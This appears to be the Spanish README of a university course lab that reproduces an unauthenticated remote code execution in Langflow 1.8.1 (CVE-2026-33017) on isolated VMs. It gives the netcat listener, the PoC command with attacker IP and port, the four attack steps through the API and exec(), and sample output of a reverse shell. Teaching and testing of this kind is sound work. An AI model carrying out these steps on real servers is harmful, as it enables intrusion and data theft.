
# Laboratorio educativo que demuestra RCE no autenticado en Langflow mediante CVE-2026-33017, con configuración automatizada de VM y un exploit PoC para shell inversa.
HoGent CyberSecurity II — Netwerk Pentesting & Exploitatie (NPE)
Academiejaar 2025–2026
Este repositorio contiene un entorno de laboratorio completo y una demostración de explotación de CVE-2026-33017, una vulnerabilidad crítica de ejecución remota de código (RCE) sin autenticación en Langflow ≤ 1.8.1.
Un atacante sin ninguna autenticación puede ejecutar código Python arbitrario en el servidor a través del endpoint /api/v1/build_public_tmp/{flow_id}/flow, debido a que la entrada del usuario se pasa directamente a exec() de Python sin sandboxing ni validación.
⚠️ Aviso legal: Este repositorio está destinado exclusivamente a fines educativos en un entorno de laboratorio controlado. Úsalo únicamente en sistemas para los que tengas permiso explícito.
┌─────────────────────────────────────────────────────┐
│ HOST MACHINE │
│ │
│ ┌──────────────────┐ ┌───────────────────────┐ │
│ │ Langflow-Victim │ │ Kali-Attacker │ │
│ │ Ubuntu 22.04 │ │ Kali Linux │ │
│ │ 192.168.56.101 │◄────│ 192.168.56.100 │ │
│ │ Langflow 1.8.1 │ │ PoC exploit tool │ │
│ │ port 7860 │ │ + internet (NAT) │ │
│ └──────────────────┘ └───────────────────────┘ │
│ Host-only netwerk: 192.168.56.0/24 │
└─────────────────────────────────────────────────────┘
CVE-2026-33017/
├── README.md # Este archivo
├── LICENSE
├── .gitignore
├── docs/
│ └── stappenplan.md # Guía completa de despliegue y ataque
└── scripts/
├── setup_vms.sh # Fase 1: Crear VMs de VirtualBox (HOST)
├── setup_victim.sh # Fase 2: Instalar Langflow 1.8.1 (VM Ubuntu)
└── setup_attacker.sh # Fase 3: Instalar herramienta PoC (VM Kali)
VBoxManage en PATHUbuntu_22.04-VB-64bit.vdi → renombrar a ubuntu-22.04.vdiKali_Linux-VB-64bit.vdi → renombrar a kali-linux.vdisetup_vms.shbash scripts/setup_vms.sh
# Credenciales: osboxes / osboxes.org
sudo bash scripts/setup_victim.sh
# Credenciales: osboxes / osboxes.org
sudo bash scripts/setup_attacker.sh
Terminal 1 — Listener de reverse shell:
nc -lvnp 4444
Terminal 2 — Exploit:
cd ~/CVE-2026-33017-Langflow-RCE-PoC
source venv/bin/activate
python3 cve-2026-33017.py 192.168.56.101 --shell \
--lhost 192.168.56.100 --lport 4444
El PoC se instala automáticamente mediante
setup_attacker.sh.
PoC utilizado: omer-efe-curkus/CVE-2026-33017-Langflow-RCE-PoC
| Paso | Endpoint | Descripción |
|---|---|---|
| 1 | GET /api/v1/auto_login | Obtiene el token JWT de superusuario (AUTO_LOGIN=true) |
| 2 | POST /api/v1/flows/ | Crea un nuevo flujo público a través de la API |
| 3 | POST /api/v1/build_public_tmp/{id}/flow | Inyecta un CustomComponent con código Python malicioso |
| 4 | exec() en validate.py:397 | El código se ejecuta sin sandboxing — RCE |
[] Fetching access token... [+] Public Flow ID created: 11571add-6416-4226-b8e6-844202cce6ff [] Sending reverse shell to connect back to 192.168.56.100:4444
Listener (Terminal 1): connect to [192.168.56.100] from (UNKNOWN) [192.168.56.101] 36160 $ whoami user $ hostname e37190a2f147 $ find /app -name "*.db" /app/.venv/lib/python3.12/site-packages/langflow/langflow.db
data vulnerableLANGFLOW_AUTO_LOGIN en producciónHoGent — Toegepaste Informatica — CyberSecurity II — 2025–2026